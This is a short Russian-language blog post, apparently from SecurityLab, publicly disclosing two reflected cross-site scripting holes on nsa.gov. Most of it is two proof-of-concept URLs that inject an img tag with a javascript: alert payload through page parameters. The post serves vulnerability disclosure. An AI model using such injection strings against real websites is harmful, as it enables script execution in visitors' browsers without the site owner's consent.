XSS на nsa.gov

XSS на nsa.gov
А вот и гос. безопасность американцев. Интересно, как быстро пофиксят?

www.nsa.gov/notices/notic00003.cfm?Address= "></a><img%20src=javascript:alert('www.securitylab.ru')>

В связи с тем что ранее была обнаружена похожая дыра, публикую еще одну :

www.nsa.gov/snac/downloads_db.cfm?MenuID= "></a><img%20src=javascript:alert('www.securitylab.ru')>
Security
Alt text

Цифровые следы - ваша слабость, и хакеры это знают.

Подпишитесь и узнайте, как их замести!

Валерий Марчук

Блог посвящен безопасности и жизни секлаба